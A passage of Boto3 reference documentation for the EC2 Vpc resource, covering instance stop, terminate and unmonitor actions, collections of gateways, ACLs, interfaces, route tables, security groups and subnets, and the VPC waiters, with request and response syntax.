Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StopInstances) + +**Request Syntax** + +response = vpc.instances.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) + +Parameters + +* **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **StoppingInstances** _(list) --_ + + Information about the stopped instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateInstances) + +**Request Syntax** + +response = vpc.instances.terminate( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **TerminatingInstances** _(list) --_ + + Information about the terminated instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnmonitorInstances) + +**Request Syntax** + +response = vpc.instances.unmonitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) --_ + + The monitoring information. + + * _(dict) --_ + + Describes the monitoring of an instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +internet_gateways + +A collection of InternetGateway resources.A InternetGateway Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all InternetGateway resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = vpc.internet_gateways.all() + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +filter(kwargs_) + +Creates an iterable of all InternetGateway resources in the collection filtered by kwargs passed to method.A InternetGateway collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = vpc.internet_gateways.filter( + DryRun=True|False, + InternetGatewayIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayIds** (_list_) -- + + One or more internet gateway IDs. + + Default: Describes all your internet gateways. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of InternetGateway resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = vpc.internet_gateways.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +page_size(kwargs_) + +Creates an iterable of all InternetGateway resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +internet_gateway_iterator = vpc.internet_gateways.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.InternetGateway) + +Returns + +A list of InternetGateway resources + +network_acls + +A collection of NetworkAcl resources.A NetworkAcl Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkAcl resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = vpc.network_acls.all() + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +filter(kwargs_) + +Creates an iterable of all NetworkAcl resources in the collection filtered by kwargs passed to method.A NetworkAcl collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = vpc.network_acls.filter( + DryRun=True|False, + NetworkAclIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkAclIds** (_list_) -- + + One or more network ACL IDs. + + Default: Describes all your network ACLs. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkAcl resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = vpc.network_acls.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +page_size(kwargs_) + +Creates an iterable of all NetworkAcl resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkAcls) + +**Request Syntax** + +network_acl_iterator = vpc.network_acls.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.NetworkAcl) + +Returns + +A list of NetworkAcl resources + +network_interfaces + +A collection of NetworkInterface resources.A NetworkInterface Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = vpc.network_interfaces.all() + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +filter(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection filtered by kwargs passed to method.A NetworkInterface collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = vpc.network_interfaces.filter( + DryRun=True|False, + NetworkInterfaceIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceIds** (_list_) -- + + One or more network interface IDs. + + Default: Describes all your network interfaces. + + * _(string) --_ +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **MaxResults** (_integer_) -- The maximum number of items to return for this request. The request returns a token that you can specify in a subsequent call to get the next set of results. You cannot specify this parameter and the network interface IDs parameter in the same request. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkInterface resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = vpc.network_interfaces.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +page_size(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaces) + +**Request Syntax** + +network_interface_iterator = vpc.network_interfaces.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.NetworkInterface) + +Returns + +A list of NetworkInterface resources + +requested_vpc_peering_connections + +A collection of VpcPeeringConnection resources.A VpcPeeringConnection Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.all() + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +filter(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection filtered by kwargs passed to method.A VpcPeeringConnection collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.filter( + DryRun=True|False, + VpcPeeringConnectionIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcPeeringConnectionIds** (_list_) -- + + One or more VPC peering connection IDs. + + Default: Describes all your VPC peering connections. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +page_size(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.requested_vpc_peering_connections.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +route_tables + +A collection of RouteTable resources.A RouteTable Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all RouteTable resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = vpc.route_tables.all() + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +filter(kwargs_) + +Creates an iterable of all RouteTable resources in the collection filtered by kwargs passed to method.A RouteTable collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = vpc.route_tables.filter( + DryRun=True|False, + RouteTableIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **RouteTableIds** (_list_) -- + + One or more route table IDs. + + Default: Describes all your route tables. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of RouteTable resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = vpc.route_tables.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +page_size(kwargs_) + +Creates an iterable of all RouteTable resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeRouteTables) + +**Request Syntax** + +route_table_iterator = vpc.route_tables.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.RouteTable) + +Returns + +A list of RouteTable resources + +security_groups + +A collection of SecurityGroup resources.A SecurityGroup Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all SecurityGroup resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = vpc.security_groups.all() + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +filter(kwargs_) + +Creates an iterable of all SecurityGroup resources in the collection filtered by kwargs passed to method.A SecurityGroup collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = vpc.security_groups.filter( + GroupIds=[ + 'string', + ], + GroupNames=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **GroupIds** (_list_) -- + + The IDs of the security groups. Required for security groups in a nondefault VPC. + + Default: Describes all your security groups. + + * _(string) --_ +* **GroupNames** (_list_) -- + + [EC2-Classic and default VPC only] The names of the security groups. You can specify either the security group name or the security group ID. For security groups in a nondefault VPC, use the group-name filter to describe security groups by name. + + Default: Describes all your security groups. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token to request the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another request with the returned NextToken value. This value can be between 5 and 1000. If this parameter is not specified, then all results are returned. + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of SecurityGroup resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = vpc.security_groups.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +page_size(kwargs_) + +Creates an iterable of all SecurityGroup resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = vpc.security_groups.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +subnets + +A collection of Subnet resources.A Subnet Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Subnet resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = vpc.subnets.all() + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +filter(kwargs_) + +Creates an iterable of all Subnet resources in the collection filtered by kwargs passed to method.A Subnet collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = vpc.subnets.filter( + SubnetIds=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **SubnetIds** (_list_) -- + + One or more subnet IDs. + + Default: Describes all your subnets. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Subnet resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = vpc.subnets.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +page_size(kwargs_) + +Creates an iterable of all Subnet resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = vpc.subnets.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_available(kwargs_) + +Waits until this Vpc is available. This method calls EC2.Waiter.vpc_available.wait() which polls. [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcs) + +**Request Syntax** + +vpc.wait_until_available( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * cidr - The primary IPv4 CIDR block of the VPC. The CIDR block you specify must exactly match the VPC's CIDR block for information to be returned for the VPC. Must contain the slash followed by one or two digits (for example, /28 ). + * cidr-block-association.cidr-block - An IPv4 CIDR block associated with the VPC. + * cidr-block-association.association-id - The association ID for an IPv4 CIDR block associated with the VPC. + * cidr-block-association.state - The state of an IPv4 CIDR block associated with the VPC. + * dhcp-options-id - The ID of a set of DHCP options. + * ipv6-cidr-block-association.ipv6-cidr-block - An IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.ipv6-pool - The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + * ipv6-cidr-block-association.association-id - The association ID for an IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.state - The state of an IPv6 CIDR block associated with the VPC. + * isDefault - Indicates whether the VPC is the default VPC. + * owner-id - The ID of the AWS account that owns the VPC. + * state - The state of the VPC (pending | available ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Returns + +None + +wait_until_exists(kwargs_) + +Waits until this Vpc is exists. This method calls EC2.Waiter.vpc_exists.wait() which polls. [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") every 1 seconds until a successful state is reached. An error is returned after 5 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcs) + +**Request Syntax** + +vpc.wait_until_exists( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * cidr - The primary IPv4 CIDR block of the VPC. The CIDR block you specify must exactly match the VPC's CIDR block for information to be returned for the VPC. Must contain the slash followed by one or two digits (for example, /28 ). + * cidr-block-association.cidr-block - An IPv4 CIDR block associated with the VPC. + * cidr-block-association.association-id - The association ID for an IPv4 CIDR block associated with the VPC. + * cidr-block-association.state - The state of an IPv4 CIDR block associated with the VPC. + * dhcp-options-id - The ID of a set of DHCP options. + * ipv6-cidr-block-association.ipv6-cidr-block - An IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.ipv6-pool - The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + * ipv6-cidr-block-association.association-id - The association ID for an IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.state - The state of an IPv6 CIDR block associated with the VPC. + * isDefault - Indicates whether the VPC is the default VPC. + * owner-id - The ID of the AWS account that owns the VPC. + * state - The state of the VPC (pending | available ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , 